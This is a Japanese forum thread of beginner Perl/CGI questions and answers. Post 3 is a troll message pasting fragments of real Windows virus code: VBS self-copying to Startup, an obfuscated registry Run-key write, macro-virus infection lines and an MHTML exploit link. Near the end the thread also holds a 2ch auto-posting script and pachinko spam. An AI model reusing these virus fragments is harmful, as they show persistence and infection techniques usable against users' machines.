06/09/10 13:33:48
このスレッドは、他のスレッドでは書き込めない超低レベル、
もしくは質問者自身何が何だが分からない質問を勇気を持って書き込むスレッドです。
Perl使いが優しくコメントを返しますが、
お礼はPerlの布教と初心者の救済をお願いします。
2:nobodyさん
06/09/10 15:19:50
ずざ~ !!!
3:番組の途中ですが名無しです
06/09/10 15:35:26 BE:353760285-BRZ(1002)
<body onload=window()>
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!URLリンク(www.loadcash.biz) type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "/" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
クソスレ立てんな
4:nobodyさん
06/09/14 02:08:37
>>3
ちゃんと通報しといたから。
5:番組の途中ですが名無しです
06/09/14 08:48:47
>>4
何を?
6:nobodyさん
06/09/14 19:58:38 xO9EEAPT
javaアブレットとperl/CGIを組み合わせて、通信対戦オセロを作りました。
自分のパソコン上でwebサーバーソフトを動かして、通信実験にも成功して
います。あとは、実際にレンタルサーバーを借りて、ネット上にアップするだ
けです。
ただ、CGIを介してデータをやり取りするので、データ更新が行われるのを
確認するため、定期的にwebサーバーに接続しなければなりません。これっ
て、やっぱり、結構サーバーに負荷をかけることでしょうか?
ロビーCGIは200行にも満たないプログラムで、参加者リストの管理と、
クライアント同士のゲームデータ(オセロですから、お互いに置いた石の位置
情報)のやり取りだけで、判定やルールなどゲーム本体のプログラムは全部ク
ライアントで処理します。CGIに接続するタイミングはロビーでは10秒お
き、ゲーム中は1~2秒おきを予定してます。
cgiが置ける格安か無料サーバーに置いて、通信対戦ゲームを実現したいで
すが、このシステムでは、サーバーの負荷で設置は難しいでしょうか?
本当に、超初心者のくだすれですみませんが、どうか教えてください。
7:nobodyさん
06/09/15 02:27:16
自分のパソコンのタスクマネージャでCPU利用率見てみればええんちゃう?
1秒おきに取りに行くとして一人ぶんのリクエストが86400リクエスト/日
全体で*平均対戦者数。
通常のhtmlで、たとえば1ページに画像やスクリプトが20個くらい張り付い
てると1ページで20リクエスト。4320ページ/日でリクエスト数は同じ。
そういうことだ。
8:nobodyさん
06/09/15 23:00:37 CWad1meV
返答ありがとうございます。
たた、タスクマネージャーを見ても、どこをどう見ればいいのかよく分かりま
せん。本当に超初心者で、よくわかんないのです。
リクエスト数の多さから、やっぱり設置は難しいのでしょうか。サーバー側
ではほとんど計算せず、小さなデータをやり取りしているだけなんですが・・・。
せっかく作ったので、何とかして設置したいです。
一般的なCGIゲームのリロードの間隔ってどれぐらいでしょうか?
9:nobodyさん
06/09/15 23:46:30 colQZo5x
mixiの足あと機能による個人情報トラッキングの対処はミクシィにどのような修正を加えて実現したんでしょうか?
10:nobodyさん
06/09/18 22:10:17 fB7/mMBT
>>9
お願いします
11:nobodyさん
06/09/23 23:15:26 ItJcA2cD
当方「すぐわかるPerl」という入門書で、Perlを勉強中のプログラム初心者です
【すぐわかるPerlのP.182】
sort{$a cmp $b} 対象の配列
sort{$b cmp $a} 対象の配列
sort{$a <=> $b} 対象の配列
sort{$b <=> $a} 対象の配列
{}の中には、ソートした結果が前に並ぶデータ$aと後ろに並ぶデータ$bが等しければ0、$aが大きければ-1、$bが大きければ1という3つの値を返す演算を入れます
と、言う部分なのですが、
値が等しければとか、大きければってどういう事なんですか?
$aや$bにはどんな(何の)値が入るのですか?
そもそも、値が大きい順に並ぶとか小さい順に並ぶとか
それらの値というのが、ソートされる側のファイルや配列の中に入っているレコードであるとして、
$aと$bで、昇順か降順かを判断するのなら、$aの値が$bの値よりも大きい場合、なんてありえないはずですよね?
12:nobodyさん
06/09/24 00:29:10
@hoge = ('A', 'B', 'C', 'AB', 'BC', 'CD');
@foo = sort { $a cmp $b } @hoge;
foreach (@foo) { print $_, "\n"; }
13:nobodyさん
06/09/24 12:43:53
>>11
「ソート」の意味わかる?
14:nobodyさん
06/09/24 17:12:23 tF4Ji0QV
perl を利用して、Linuxユーザのパスワードを変更するプログラムに挑戦しております。
パスワード変更に使用するpasswdコマンドは対話型ですが、
スクリプトで実行するにはどのように書けば良いでしょうか?
以下を組みあわせて作りたいのですが。
$crypt_password
system("passwd $username");
よろしくお願いします。
15:14
06/09/24 18:24:23
下記サイトを参考に作ってみたスクリプトがあります。
URLリンク(search.luky.org)
$crypt_pass = crypt($password,"AB");
$chgpw_cmd = <<"EOF";
sudo /usr/bin/passwd $username
$crypt_pass
$crypt_pass
EOF
system("$chgpw_cmd");
結果、以下のエラーが表示されます
Error message:
malformed header from script. Bad header=Changing password for user $username
Error 500
どのように書き換えれば動くのでしょうか。
よろしくお願いします。
16:nobodyさん
06/09/25 00:15:33
まずhttpのヘッダを出力するよろし
17:11
06/09/25 17:41:25 V/IIhk9y
>>12
?
>>13
わかりますよ。
ファイル内のレコードを、文字列や数値の大きい順、または小さい順に並べ替える事ですよね
18:nobodyさん
06/09/26 06:02:57
>>17
そもそも「ファイル内のレコード」とか造語使って話されてもな。
$a <=> $bが数値の昇順、$b <=> $aが数値の逆順
sort{$a cmp $b} 対象の配列 は
sort 対象の配列 と同じで文字列の昇順
{$b cmp $a} が文字列の逆順
これを理解してるのか?
って聞かれてる
ソートの語意を知ってるか聞いてるわけじゃない。
19:11
06/09/26 18:56:12 QXj/N9Vs
>>18
それは理解してますよ。
「レコード」というのは、ファイル内の改行までの1段落を「レコード」と呼ぶそうです。
本にそう書いてあったので。
{$b cmp $a}にしても、値の大きさで言うなら$b>$aですよね
だから、昇順にソートしたければ$aを左辺に
降順にしたければ$bを左辺にするわけで
なのに、入門書の説明では
『{}の中には、ソートした結果が前に並ぶデータ$aと後ろに並ぶデータ$bが等しければ0、$aが大きければ-1、$bが大きければ1という3つの値を返す演算を入れます』
と
$a<$bであるのだから、『$aが大きければ』なんて状況自体がそもそもありえないのではないでしょうか?
そこら辺で、自分はこの入門書の説明が理解できずに行き詰ってますm(_ _)m
20:nobodyさん
06/09/26 22:45:11
これやってみろ。
my @sorted = sort {
print $a . "\t" . $b . "\n" ;
$a <=> $b
} qw( 5 10 3 5 4 2 1 ) ;
少くとも $a < $b なんて確定ではないことは明白。
URLリンク(www.ics.kagoshima-u.ac.jp)
ここ読め。perl 5.8 以降の sort のアルゴリズムだ。
21:nobodyさん
06/09/26 23:48:31 8QEjX/wi
掲示板のパスワードを忘れたので、教えて欲しいとのメールを貰いました。
直接ログファイルを見たのですがencryptで暗号化されています。
これって復元はできないので、教えることは出来ないのでしょうか?
22:nobodyさん
06/09/27 00:40:05
暗号化されたものを教えられてもパスワードの複合化はできまいが、
ログファイルを直接書き換える事で任意のパスワードに変更する事はできる。
試しに適当なパスワードを付けたダミー投稿をやってみて暗号化後の文字列を確認し、
ログファイルの該当部分を書き換えてうp→新しいパスワードを通知でどうかな。
23:21
06/09/29 22:57:36
>>22
どうもありがとう!
24:nobodyさん
06/10/12 00:21:32 Gn08F8cO
配列変数に「\n」を入れて標準出力使用としています。
たとえは、
$data[0]="\n";
$data[1]="\n";
$data[2]="ななしさん\n";
$data[3]="\n";
$data[4]="としあき\n";
として
print @data;
としたら、クライアント側では
ななしさん
としあき
と、受け取るようにしたいです。
で、自分のwindowsのパソコンでサーバーソフトのapacheを立ち上げて、ローカルで試した時はうまく行きますが、レンタルサーバ上では、"\n"は改行せず、初めから無いことになって、
ななしさんとしあき
となってしまいます。
perlを始めて3ヶ月で、いろいろ検索したのですか、よく分かりません。
どうか、改行する方法を教えてください。
25:nobodyさん
06/10/12 00:42:24
<br>
26:24
06/10/12 07:47:06 ECd/ht+A
>>25
早速の返答ありがとうございます。
もう少し詳しく書かなければいけなかったのですが、cgi送られたデータはプラウザで受け取るのではなくて、HSPで作ったクライアントソフトで受け取ります。
このように、改行を含め、横一列づつに区切られた文字列型のデータはHSPのクライアント側で「ノートパッド命令」というのを使ってデータを加工したいのです。
プラウザじゃないですから、<BR>では改行できませんし、またデータが繋がったままだと、ノートパッド命令が使えず、データは加工できないのです。
自分のパソコンでサーバーソフトを立ち上げ、ローカルで試した時はうまくいくのに、レンタルサーバにあげたとたんうまく行きません。
この違いは、osのせいなのか、ネット上にあげたせいなのか、よく分かりません。
わかる人がいましたら、どうか教えてください。
27:nobodyさん
06/10/12 13:40:15
>>26
改行コードはOS依存
HSPはWindowsアプリだから、改行コードがWindows固定なんじゃないかね?
Windowsは\x0d\x0aでUnix系は\x0aなので、\x0dを付け足してみたら?
28:nobodyさん
06/10/12 13:41:02
書き忘れ
レンタルサーバーがWindowsじゃなければ、の話。
29:nobodyさん
06/10/12 22:06:48 bEOo1KBw
CGI_Liteというのを使いたいので
CPANってゆーの入れてみたんですけど
その後どうするのでしょうか?
30:24
06/10/12 22:59:42 D35FP/7g
>>27
返答ありがとうございます。
まだ試してはいませんが、原因は多分これです。
レンタルサーバのOSはUnixですし、自分のwindowsパソコンで、ローカルで試した時はちゃんと動作しましたし・・・。
早速perlを書き直します。
本当にありがとうございます。
31:nobodyさん
06/10/12 23:36:42
>>29
モジュールがどういったものか理解してるのかな?
とりあえず、そのキーワードでググって一通り目を通してきてください。
32:29
06/10/14 16:27:10 5AFK7g0o
>31さん
ううう だいたい理解しているつもりなのですが、、、
CGI_Liteを使っている所では下記のようにでるのですが
これってうまくCGI_liteがインストールされていないということでしょうか?
[hoge@localhost member]# perl detail.cgi
Can't locate hogehogeLib.pl in @INC (@INC contains: /usr/lib/perl5/site_perl/5.8.6/i386-linux-thread-multi (略)/usr/lib/perl5/5.8.6 .) at detail.cgi line 2.
ご助力いただけますとありがたいです。
33:nobodyさん
06/10/14 16:33:46
CGI::Liteを使え
34:24
06/10/15 00:08:41 YK613lYV
おかげさまで改行コードの件は解決しましたが、また別のことで質問させてく
ださい。
自宅のwindowsパソコンでサーバソフトを動かし、ローカルで接続している時
は、環境変数HTTP_User_Agentを受け取ってくれますが、unixのレンタル
サーバー上では、HTTP_User_Agentを受け取ってくれません。
改行コードのようにOSで違いがあるのかもしれませんが、HSPクライアント
のHTTPヘッダーの記述がただしいから、サーバーに接続できるし、CGIにデー
タをちゃんと送れていると思います。
HTTP_User_Agent以外の環境変数、REMOTE_ADDRやREMOTE_HOSTはちゃんと受け
取っています。もちろん、POSTで送信したデータは、CONTENT_LENGTHに入って
います。
なぜかHTTP_User_Agentだけ、ネット上においてあるunixのレンタルサーバーに
情報が入ってきません。
もし原因が分かる方がおりましたら、どうか教えてください。
35:nobodyさん
06/10/15 00:17:49
変なセキュリティソフトでも入れてるんじゃないの?
36:24
06/10/15 10:44:12 sPLkCqaF
すみません、自力で解決しました。
windowsでは、使っているクライアントやプラウザを知る環境変数は
「HTTP_User_Agent」でも動きますが、unixでは「HTTP_USER_AGENT」と
ちゃんと書かないとダメみたいです。
大文字と小文字だけで、大きな違いです。
>>35さん書き込みありがとうございます。
本当に大変お騒がせしました。
37:nobodyさん
06/10/16 16:10:49 1+lDbjJH
@niftyのCGIは、Perlの標準ライブラリ使用禁止なんだな~。つまらない。
38:nobodyさん
06/10/26 07:54:58 BE:108125928-BRZ(1033)
Perlで2chに書き込みたいんですが、クッキーだとかなんだとか意味がわかりません
dat取得するまではなんとかわかるのですが……、参考になるサイトなどはありませんか?
39:nobodyさん
06/10/26 08:21:44
荒らしツールでつか?
40:nobodyさん
06/10/26 09:05:17 BE:162187283-BRZ(1033)
昔2chでIDバトルというスレを見つけたのを思い出して真似してみようかなと思っています。
41:nobodyさん
06/10/26 10:32:06
つまりIDをとるだけのためにいちいち書き込むと?
42:nobodyさん
06/10/26 11:11:39 BE:94610227-BRZ(1033)
ID取得はdatから抽出することでできたんですが、スレに結果を出力できません……。
ローカルで結果を何回も出力させていっても自分がパンクしそうなので自動化しようと思った次第です
43:nobodyさん
06/10/26 16:14:52
あー、そういう事か。理解した。
基本的に2chは容易に荒らしツールに転用でき得る外部からの書き込みには厳しいし
それがperlスクリプトと来てはなおさらだろう。
rep2みたいに何とかやってのけた例はあるけど(まああれはPHPだが)あれも
FOXに荒らし専用ツールと勘違いされて一時期えらい事になっていたし、
やるならdatから必要なIDをまとめて所得して処理を行い、
後はコピペするのみの形に整形したテキストを出力するスクリプトに留めた方が良いと思うよ。
44:nobodyさん
06/10/26 16:45:14
Perlの2ch書き込みソフトならスレ保守ツールということでVectorにある。少々古くてhana=mogeraの追加修正が必要だが。
45:nobodyさん
06/10/26 22:03:37
>コピペするのみの形に整形したテキスト
ここに質問するまではそれをベースに作っていたんですが、楽にできないものかと……。
勘違いされると確かにまずいですよね、保守ツールだったらよく見かけるんですけど……。
>Perlの2ch書き込みソフト
ありがとうございます、早速探してみます。
46:nobodyさん
06/10/27 02:03:16
use LWP::UserAgent;
use HTTP::Cookies;
use HTTP::Request::Common;
use HTTP::Headers;
print 'URI > '; chomp ( $entry = <> );
$entry =~ 'http://([^/]*)/([^/]*)/([^/]*)/([^/]*)/([0-9]*)';
($uriServer, $uriBbs, $uriKey, $uri) = ($1, $4, $5, "URLリンク($1));
print 'MESSAGE > '; chomp ( $msg = <> );
$ua = new LWP::UserAgent;
$request = POST ($uri, [
subject => '',
FROM => '',
hana => 'mogera',
submit => '書き込む',
mail => 'sage',
MESSAGE => $msg,
bbs => $uriBbs,
key => $uriKey,
time => time]);
$request -> referer($uri);
$request -> user_agent('Monazilla/1.00');
$cookie_jar = HTTP::Cookies -> new( file => 'ume.cook', autosave => 1 );
$cookie_jar -> add_cookie_header($request);
$ua -> cookie_jar($cookie_jar);
$response = $ua -> request($request);
47:nobodyさん
06/10/29 16:12:26
最近,Perlを使ったCGIで特定IPを拒否するルーチン入れてあり,
そのリストにあるIPにも関わらず書き込みをされるのですが,どんな原因が考えられますか?
例えば,自分のIPが200.10.10.10の場合,正規表現で指定して(200.*.*.*)もきちんと自分は拒否されます。
それなのに,いくつかすり抜けてくる迷惑書き込みは,一体どのようにしてるのでしょうか?
当然,直接そのIPを指定しても,効果がありません。(上の場合なら,200.10.10.10)
考えられるのは,①Perlが取得するIPアドレスの関数が偽装される。←可能なんでしょうか??
②違うCGIで直接ログファイルに書き込まれている。
というくらいしか思いつきません。
①はともかく,②に関しては,プロバイダがHi-HOなので,こちらで細かいパーミッションの指定ができません。(たぶん)
他にも原因や対策がありますか?
48:nobodyさん
06/10/29 20:10:26
3、そのルーチンがバグっている。
というか2ならログファイルの名前変えてダミー置いとけば解決じゃないのか。
49:nobodyさん
06/10/30 01:09:22
リファラーをチェックして
他のサーバからの呼び出しを蹴る様にしたら?
正規表現でやると部分一致ですり抜けたり、リファラー自体が
偽装できるんであくまで簡易的だけどね。
my $myhome = "hURLリンク(www.vipper)
if( !$ENV{'HTTP_REFERE'} =~ /^$myhome/ ) {
#エラー処理
} else {
}
50:nobodyさん
06/10/30 03:31:49
/^\Q$myhome\E/
51:nobodyさん
06/10/30 07:32:12
>>50
訂正ありがとう。
あとさ、馬鹿なんじゃねーかと。
REFEREって・・・REFERERだよな、ごめん。
52:nobodyさん
06/10/30 21:36:17
余談だが、単語の綴りって意味で正確には
referrer
なんだけどな。
53:47
06/10/31 18:03:41
色々とアドバイスありがとうございます。
>48
ログファイル名変更が効果あるのは他のCGIで経験済みです。
最終手段だと思ってます。
それよりも,原因や他の技術的な対策などが知りたかったので。
言葉足らずですみません。
>49
試してみます。
54:nobodyさん
06/10/31 20:28:02
ZIPやGZIPではなく、LZHを展開するモジュールはありますか?
55:nobodyさん
06/10/31 21:15:35
無かったんじゃない?
56:nobodyさん
06/10/31 22:44:48
コマンド呼び出ししかないだろうな。
57:nobodyさん
06/11/08 04:25:42
文字コードshift_jisのままで、文字列中の\を置換する方法はありますか?
s/\\/?/g;
普通にこう書くと5Cを含む2バイト文字が化けてしまいます
58:nobodyさん
06/11/08 05:28:40
quotometa
\Q\E
59:nobodyさん
06/11/24 00:36:56 67lrIFIn
Perlからお気に入りのタブブラウザを起動するにはどうしますか?
60:nobodyさん
06/11/24 00:46:06
system(起動プログラム);
61:nobodyさん
06/11/24 00:50:56
>>60
できました!
ありがとうございます。ペコリ
62:nobodyさん
06/12/02 17:26:24
>>46
の間違いって
$request -> user_agent('Monazilla/1.00');
$ua -> user_agent('Monazilla/1.00');
以外にある?
このあたりだと思うんだけど
$cookie_jar = HTTP::Cookies -> new( file => 'ume.cook', autosave => 1 );
$cookie_jar -> add_cookie_header($request);
$ua -> cookie_jar($cookie_jar);
63:nobodyさん
07/01/07 08:03:18
CGIを作ろうとPerlの勉強を始め、
テキストに命令文を書き込んだのですが、
動作確認の仕方が分かりません。
書いたスクリプトを起動するにはどうすれば良いのでしょうか?
64:nobodyさん
07/01/07 09:40:28
Perlをインストールしないと確認できません
65:nobodyさん
07/01/08 10:40:10
ありがとうございます。
これからPerlのインストール方法を探しに行って来ます。
66:nobodyさん
07/01/08 13:13:18
$host = $ENV{'REMOTE_HOST'}
このようにホストを取得した場合
これを
aaa.bbb.ccc →*.bbb.ccc
のように
一部を隠す場合はどのようにしたらいいでしょうか?
ホストの取得方法を変えなければいけませんか?
ご教授くださいませ
67:nobodyさん
07/01/11 08:43:23
>>66
置換してから出力すればいいんじゃない?
68:nobodyさん
07/01/11 08:45:37
>>66
$foo =~ s/.*?\.(.*?)/\*\.\1/;
かな
69:nobodyさん
07/01/11 20:27:34
他のperiスレでも質問したのですが、スルーされてしまいました・・
マルチっぽくなってすみません。
拡張子が.plのスプリクトの動かし方を教えてください!!!
ActivePerlをインストールしたのですが、そこからどすればいいのか分かりません・・
.plファイルをダブルクリックしてもコマンドラインが一瞬でて消えるだけです・・
サーバーをレンタルしないといけないのでしょうか?
どなたか教えてください!!!
70:nobodyさん
07/01/11 22:50:22
貴様が質問した1レスあとに答え書いてあるだろメクラ
71:544
07/01/12 00:31:09
難しくて意味が分りません!!!!!
コマンドプロテクトとかじゃなくて、exeファイルみたいに直感的に扱いたいです。
消防に分かるようにお願いします!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
72:nobodyさん
07/01/12 03:40:35
でんげんコードをぬいて、自分の首にまいて、ちからを入れてひっぱる
73:nobodyさん
07/01/13 07:21:59
>>903
そこまでやりました。
そしたら勃起しちゃいました・・
次はどうすれば?
74:nobodyさん
07/01/15 22:32:53 h8620fdS
P2Pのゲームを作っていて、perl/CGIを使ってマッチングロビー、perl/cgiと
MYSQLを使って認証とプレイヤーの成績データのdbプログラムを組んでしま
す。
マッチングも認証プログラムもdbも完成するめどがたっているんですが、
ネット上に公開するとき、サーバの負荷とか良く分かりません。
たとえば、スクリプトが大きくなるけど、一度のサーバーアクセスで全て処
理できるよう、認証・マッチング・db処理のスクリプトを一つにしたほう
がいいのでしょうか。
ほんの少しサーバのアクセス回数が増えるけど、マッチングと、認証・dbを
分けてサイズを小さくし、必要な時に必要なCGIを呼び出した方がいいので
しょうか?
本当にくだらない質問ですみません。
75:nobodyさん
07/01/17 09:50:41
当方環境がWINなので、ActivePerl5.8をインストールしました。
UNIXサーバーをレンタルしてcgiで動かす場合、通常のPerl5.8は必要なのでしょうか?
ActivePerlと共存しても大丈夫なんですが?
初歩的な質問ですみませんが、教えてくださです><
76:nobodyさん
07/01/17 13:19:17
>>74
負荷を気にするならPerl CGIを選択する時点で間違い
>>75
バージョンはプログラムによる
PerlとActivePerlは共存させる必要はない
77:nobodyさん
07/02/05 22:01:41 Utbdeaaf
Encode.pmは難しいので、使っているサーバがperl5.8対応でも、jcode.plを使ってもいいでしょうか?
本当に、何が何だが分からない質問で、すみません・・・
78:nobodyさん
07/02/05 22:08:13
使えるよ。置換してるだけだから
79:77
07/02/05 22:56:56 Utbdeaaf
>>78
返答ありがとうございます。
80:nobodyさん
07/02/07 23:15:43 5L64/RF4
dat.txtファイルに
あ
い
う
え
とあって、「う」だけを表示させたいのですが、どういったプログラムになるのでしょうか?
81:nobodyさん
07/02/07 23:59:35
エスパーさ~~ん、かも~~ん
82:nobodyさん
07/02/08 01:05:33
>>80
print "う";
83:nobodyさん
07/02/08 12:46:57 ySrCcQfc
別に「う」を表示させたいわけじゃない。
datファイルにある3列目の文字を表示させたい。
84:nobodyさん
07/02/08 14:04:25
open(IN, "dat.txt");
while (<IN>){
print if($.==3);
}
close(IN);
85:nobodyさん
07/02/08 14:25:54
open IN, "dat.txt" and print <IN>[3];
テストしてない
86:nobodyさん
07/02/08 15:27:19
ありがとうございます。感謝です。
87:あっこ
07/02/08 19:36:08 LIdpjyEo
A
URLリンク(docomo-camera-ne.jp)
B
URLリンク(docomo-camera-ne.jp)
ソース教えていただけませんか??
88:nobodyさん
07/02/08 19:51:42
>>87
とりあえずいくつものスレにまたがって質問して回るのを止めろ。
89:nobodyさん
07/02/08 20:48:25
CGI.pmってバグあるんですか?
バージョンは2.9です。
print $cgi->end_form;
って入力してもプリントされないんですが・・・
90:91
07/02/08 20:58:18
あ、すみません間違えました。
print $cgi->end_form;
ってやると、何故か、
<div></div></form>
ってプリントされるんです。
この<div>はなんなんでしょう?入れた覚え全くないんですが・・・
91:nobodyさん
07/02/09 07:36:17
>>87
おまえCの宿題スレにもいたけど大丈夫なのか
92:nobodyさん
07/02/10 14:46:42
CGIレスキューのショッピングバスケットプロ v6を使用しています。
このたび、アフェリエイト用のトラッキングタグを入れることになったのですが、
金額に関する変数の設定がわかりません。
cart.cgi内部の
$fee、$fee2、$SHOKEI2、$SHOKEI2、$orders
setup.cgi内部の
$j
など入れてみましたが、数値が出ません。
タグは注文の最終画面に入れ込みます。
注文IDに関してはすぐに出たのですが。。。。
エロイ方ご教授くださいませ。
93:nobodyさん
07/02/10 17:59:27
>>92
改造スレへGo
っていうか仕事を2chに持ち込むなYO
94:92
07/02/11 12:29:23
>>93
誘導有難うございます。
がんばってみて、駄目なら移動してみます。
95:nobodyさん
07/02/18 20:10:51
URLリンク(www.42ch.net)
このスクリプトで、ログファイルへのデータ追加時に
現在の年日時を取得して
2007/2/18 20:09
のような形式で行の末端に自動的に書き込むようにしたいのですが、
どの部分にどのような処理を加えれば良いでしょうか?
96:nobodyさん
07/02/24 08:30:18 vuvrJgei
最近外国人が宣伝目的で掲示板に書き込むので、なんどかしたい。
他の掲示板でも攻撃を受けているのをよく見かけます。
特徴としては、アルファベットのみで書き込むので、アルファベットのみの投稿の場合は
エラーにしたいのですが、そんなことは可能でしょうか?
97:nobodyさん
07/02/24 10:17:57
>>96
EUC-JPだけど
# $str に ASCII 以外が含まれているか判定する
if ($str =~ /[\x8E\xA1-\xFE]/) {
print "含まれている\n";
}
引用元
URLリンク(www.din.or.jp)
98:nobodyさん
07/02/26 13:07:30 bWsttIN4
改造です。
先頭行でなく最終行を取得しないとマズいことに気づいたんですが
どうすればいいでしょうか。
---------
if ($in{'ori_ie_id'} eq "admin"){
$bbs1_log_file = "./member/admin/bbs".$in{'bbs_num'}."_log.cgi";
}else{
$bbs1_log_file = "./member/$in{'ori_ie_id'}/bbs1_log.cgi";
}
open(IN,"$bbs1_log_file") || &error("Open Error : $bbs1_log_file");
# 先頭行を取得
$total_counter = <IN>;
($total_counter,$all_total_counter)= split(/<>/, $total_counter);
$top = <IN>;
local($b_num,$b_name,$b_date,$b_res,$b_count,$b_com)= split(/<>/, $top);
--------------------------
99:nobodyさん
07/02/26 16:00:02
よし、エスパー3級の俺が答えてやろう。
複数行の入力を取った場合配列になる。
@lines = <INPUT>;
この場合に最後の要素はこう所得できる。
$lastline = $lines[-1];
もしくはこう書いても良いだろう。
$lastline = pop(@lines);
これらの違いについてはマニュアルを嫁。
分かったら次からはエスパーじゃなくても分かる言葉で書くように。
100:nobodyさん
07/03/07 21:52:50
なんか、トロイの木馬が検出されましたと出た。
101:nobodyさん
07/03/22 13:03:52 RsfMZKm1
$value = '%e6%97%a5%e6%9c%ac%e8%aa%9e';
$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
として走らせたところ、スクリプトをウェブサーバを通して呼んだときと
同じサーバのコマンドラインから呼んだときで
$valueの中が変わってきてしまいます。
linuxコマンドライン:ツづ可づ卍づアツつイ
linux上ウェブサーバ:にほんご
どうしてこうなっちゃうんでしょうか・・
コマンドラインから呼んだときでも"にほんご"とする方法はありますか?
102:nobodyさん
07/03/22 13:08:13
そのコンソールは日本語表示に対応してますか
103:101
07/03/22 14:06:12
ごめんなさいよくわからないです。
linuxのサーバへはwindows上のtelnetでつないでまして、
さきほど、簡単にprintで"にほんご"と表示させるだけ、
もしくはファイルとして保存するだけのスクリプトを
スクリプト自体の文字コードをいろいろ変えて走らせてみたところ、
どれも漢字混じりでぐちゃぐちゃっとなり、まともに出ませんでした。
これって対応してないって事ですかね。。
104:nobodyさん
07/03/23 12:35:39
せめてTeraterm使ってください
105:nobodyさん
07/03/26 05:21:22
表示文字コードを変更できないプロンプトってあるの?
106:nobodyさん
07/04/18 00:42:41 2fOrfnuV
#ディレクトリを開く
print "変換するフォルダのパスを入力してください\n";
$folder_path = <STDIN>;
chomp($folder_path); #改行コード削除
opendir(DIR, "$folder_path");
@file = readdir(DIR);
closedir(DIR);
#ファイル名を調べる
foreach (@file)
{
#htmlファイルなら処理
if( $_ =~ /.html/ ){
print "$1\n"; ##ここは呼ばれるが$1が空##
#ファイルを開く
open(F, "+< $_.$1" );
#ファイル1行読み込む
while($line = <F>){
#iso-8859-1をShift_JISに変換
if( $line =~ s/charset=iso-8859-1/charset=Shift_JIS/ ){
print(F "$line");
}
}
close(F);
}
}
htmlファイルの文字コードをかえるコードを書きたいのですが、うまくいきません。
どこが、間違ってるのでしょうか?
107:nobodyさん
07/04/18 01:10:01
まずエラーメッセージを書こうぜ
108:106
07/04/18 01:17:05 2fOrfnuV
#ディレクトリを開く
print "変換するフォルダのパスを入力してください\n";
$folder_path = <STDIN>;
chomp($folder_path); #改行コード削除
opendir(DIR, "$folder_path");
@file = readdir(DIR);
closedir(DIR);
#ファイル名を調べる
foreach (@file)
{
#htmlファイルなら処理
if( $_ =~ /([A-Za-z0-9_]*\.html)/ ){
print (STDOUT "$1");
#ファイルを開く
if( !open(F, "+< $floder_path.$1" ) ){
printf(STDOUT "HTML読み込み失敗\n");
}
#ファイル1行読み込む
while($line = <F>){
print(STDOUT "変換\n");
#iso-8859-1をShift_JISに変換
if( $line =~ s/charset=iso-8859-1/charset=Shift_JIS/ ){
print(F "$line");
}
}
close(F);
}
}
としたところ、
ファイル名 HTML読み込み失敗
と表示されます。
109:nobodyさん
07/04/18 01:22:04
じゃ動いてんじゃん
110:106
07/04/18 01:23:05 2fOrfnuV
ループにはいるまえに、カレントディレクトリをへんこうし
#カレントディレクトリ変更
chdir("$folder_path");
open(F, "+< $floder_path.$1" )を
open(F, "+< $1" )とすると置換の部分は実行できました。
しかし、置換前の文字が残ってしまいます
111:nobodyさん
07/04/18 01:59:13
>置換の部分は実行できました。
>しかし、置換前の文字が残ってしまいます
バカじゃないんだから実行前の入力文字列と実行後の出力文字列くらい出せや
112:nobodyさん
07/04/18 02:06:45
香ばしいなぁw 俺にもあったわこんな時代www
>>108
ファイル変換系の処理は「読み込むファイルに書き戻す」よりも
「読み込みつつ別のファイルに書き出す」ようにした方がいい。
書き出しが終わった後で削除&リネームすればいいだけだし、
途中で処理が止まっても安全。
あと微妙に板違いだから次からはプログラム板行けなw
113:106
07/04/18 02:57:11 2fOrfnuV
別ファイルに書き出しでやってみます
ありがとうございました。
つぎからはプログラム板逝きます
114:nobodyさん
07/04/18 03:45:43
島根県のみなさん、パチンコをするなら、
優良パチンコ店 エ○トワン
に行こう! 遠隔(※1)をやっていないパチンコ店は「エイ○ワン」だけ!
違法ロム(※2)を使っていないパチンコ店も「エイト○ン」だけ!
○イトワンでは、遠隔等が可能な設備は入れていません。 ロムも、警察がチェックしやすくしています。
詳しい方はご存知の通り、どんなにパチンコの遊戯人口が変動しても、その市場規模は変わりません(※3)。
要するに、客が減っても、残った客から絞り盗る量を増やして調整しているのです。
しかし、何故それが可能なのか?…ご理解頂けると思いますが、9割以上の店が確実に遠隔等を行ってます。
1万店以上のパチンコ店の中で、遠隔も違法ロムも確実にやってないのは「○イトワン」ただ1店です!
※1…遠隔とは
「お、あの客は新顔だな。勝たせて味を占めさせるか。遠隔操作で設定変更しよ」
「客が減ってきたな。ま、設定を絞めて(違法)、1人あたりから搾る量を増やせばいいか」
「あのオヤジ負け続けてるからそろそろ辞めるかもな。今日は勝たせてやるか」
※2…違法ロムとは
